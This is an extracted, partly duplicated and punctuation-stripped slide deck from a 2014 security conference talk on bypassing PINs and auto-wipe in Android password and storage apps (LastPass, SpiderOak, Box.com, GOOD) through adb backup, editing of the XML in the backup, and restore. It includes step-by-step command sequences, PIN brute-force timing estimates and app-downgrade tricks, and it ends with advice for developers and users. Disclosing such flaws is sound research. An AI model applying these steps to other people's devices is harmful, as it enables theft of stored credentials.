  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 8: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 16

secondary authentıcatıon

Chris John Riley | 22102014 | 19

buthellip

Chris John Riley | 22102014 | 20

The devıce

ıs ınsecure

Chris John Riley | 22102014 | 21

worse still

Chris John Riley | 22102014 | 22

BYOD

Bring Your Own Disease

Chris John Riley | 22102014 | 24

Solution

Chris John Riley | 22102014 | 25

Move the security closer

to the data

Chris John Riley | 22102014 | 26

Chris John Riley | 22102014 | 27

buthellip

Chris John Riley | 22102014 | 28

hellip I lost my phone

Chris John Riley | 22102014 | 29

314 mobile phones stolen in London every day

offenders traced three or four times out of 10

Source UK Metropolitan Police 012013

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 9: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 19

buthellip

Chris John Riley | 22102014 | 20

The devıce

ıs ınsecure

Chris John Riley | 22102014 | 21

worse still

Chris John Riley | 22102014 | 22

BYOD

Bring Your Own Disease

Chris John Riley | 22102014 | 24

Solution

Chris John Riley | 22102014 | 25

Move the security closer

to the data

Chris John Riley | 22102014 | 26

Chris John Riley | 22102014 | 27

buthellip

Chris John Riley | 22102014 | 28

hellip I lost my phone

Chris John Riley | 22102014 | 29

314 mobile phones stolen in London every day

offenders traced three or four times out of 10

Source UK Metropolitan Police 012013

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

